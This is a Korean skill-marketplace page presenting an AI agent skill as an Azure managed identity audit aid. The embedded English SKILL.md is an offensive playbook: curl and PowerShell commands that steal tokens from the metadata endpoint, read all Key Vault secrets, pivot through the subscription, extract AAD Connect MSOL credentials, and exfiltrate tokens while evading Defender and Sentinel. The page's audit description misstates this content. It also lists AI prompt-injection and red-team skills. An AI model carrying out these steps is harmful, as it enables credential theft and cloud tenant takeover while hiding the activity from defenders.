azure-managed-identity
하는 일
이 스킬은 컴퓨팅 리소스가 다른 Azure 서비스용 토큰을 받을 수 있게 하는 Azure 관리 ID를 다룹니다. Azure 워크로드를 감사하는 클라우드 관리자와 보안 검토자를 위한 스킬입니다.
사용하는 경우
- ✓Azure 관리자가 넓은 접근 권한을 가진 관리 ID를 가진 VM이나 앱 목록을 요청할 때.
- ✓에이전트가 워크로드가 요청할 수 있는 토큰 대상, 예컨대 Key Vault나 Graph를 확인할 때.
- ✓보고서에 침해된 워크로드가 다른 Azure 서비스에 어떻게 닿을 수 있는지 설명해야 하는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“우리 Azure 가상 머신과 앱 중 관리 ID를 가진 것이 무엇이고, 그 ID가 무엇에 접근할 수 있는지 알려 주시겠어요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 관리 ID를 가진 워크로드를 나열하고, 각 ID에 연결된 역할 할당을 검토하며, 넓은 접근을 가진 것을 표시합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Azure Managed Identity Abuse
You have RCE in an Azure compute resource (VM, App Service, Function, AKS, Container Apps). Steal the Managed Identity token and pivot.
Steal the token
Linux VM / Container
TOKEN=$(curl -s -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| jq -r .access_token)
Windows VM
$h = @{Metadata="true"}
$r = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -Headers $h
$TOKEN = $r.access_token
App Service / Function (different endpoint, requires IDENTITY_HEADER)
TOKEN=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
| jq -r .access_token)
Common token audiences (resource param)
| Audience URL | Use |
|---|---|
https://management.azure.com/ |
ARM — list/modify Azure resources |
https://graph.microsoft.com/ |
Microsoft Graph — read directory, mail, groups |
https://vault.azure.net |
Key Vault — secrets, keys, certificates |
https://storage.azure.com/ |
Storage account — blob/queue/file/table |
https://database.windows.net/ |
Azure SQL |
https://servicebus.azure.net/ |
Service Bus |
Request one token per audience — the MI assignment determines which work.
Use the token
# Enumerate the subscription
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .
# List Key Vaults (then a VAULT_TOKEN to read secrets)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/$SUB/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01"
# Read every secret
VAULT_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)
curl -s -H "Authorization: Bearer $VAULT_TOKEN" "https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.4" | jq .
Pivot patterns
| MI permission | Pivot to |
|---|---|
| Contributor on subscription | RunCommand on every VM in the sub → fleet-wide RCE |
| KeyVault Reader / Secrets User | Decrypt all stored credentials |
| User Access Administrator | Self-grant Owner role anywhere |
| AAD App Owner | Modify app registration → app-credential persistence |
| Storage Account Contributor | Steal storage keys → SAS tokens (low audit signature) |
Workload Identity (federated, no client secret)
AKS pods using Workload Identity Federation get a token via projected SA token + STS exchange. Steal the projected token from /var/run/secrets/azure/tokens/azure-identity-token, then:
SATOKEN=$(cat /var/run/secrets/azure/tokens/azure-identity-token)
TOKEN=$(curl -s -X POST "https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token" \
-d "client_id=$CLIENT_ID&scope=https://management.azure.com/.default&grant_type=client_credentials&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=$SATOKEN" | jq -r .access_token)
AAD Connect MSOL (hybrid environments)
On a server running AAD Connect, MSOL_xxxxxxx in local SAM has DCSync rights → full domain compromise. Steal via DPAPI:
# Run as SYSTEM on AAD Connect server
$key = (New-Object System.Security.Cryptography.AesManaged).Key
# AADInternals does this end-to-end:
Get-AADIntSyncCredentials # AADInternals — extracts MSOL creds
OPSEC
- Azure Activity Log records every ARM call. Use Graph for low-noise enumeration.
- Token TTL ~24h. Re-stealing is logged via the IMDS access pattern (visible in Azure VM monitor).
IDENTITY_HEADERenv on App Service is process-scope — exfil it from a single trick command, then reuse.- Defender for Cloud + Microsoft Sentinel detect: "ManagedIdentityToken used from non-Azure IP" → exfil tokens carefully.
References
- MicroBurst (NetSPI), MicroBurst-Cloud (Karl Fosaaen) — Azure-specific tooling
- ROADtools (Dirk-jan) — AAD enumeration without alerts
- DEFCON 30 "Abusing Azure Active Directory" — Andy Robbins
자주 묻는 질문
관리 ID란 무엇인가요?
서비스가 비밀번호를 저장하지 않고도 다른 Azure 서비스에 로그인하는 데 쓰는 Azure ID입니다.
토큰은 어떤 서비스에 닿을 수 있나요?
스킬은 Azure Resource Manager, Microsoft Graph, Key Vault, 스토리지, SQL을 흔한 대상으로 나열합니다.
위험은 어떻게 줄이나요?
스킬은 각 ID에 필요한 가장 작은 역할만 주라고 권하며, 이는 계정 소유자가 결정합니다.
상세 정보
작성자의 원본 설명
Azure Managed Identity abuse — IMDS at 169.254.169.254 from compromised VM / App Service / Function, token exchange for Graph/ARM/KeyVault, federated workload identity abuse, hybrid AAD Connect MSOL credential extraction.
인기도
- GitHub 스타
- 6.5k
- 순위
- #13986
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.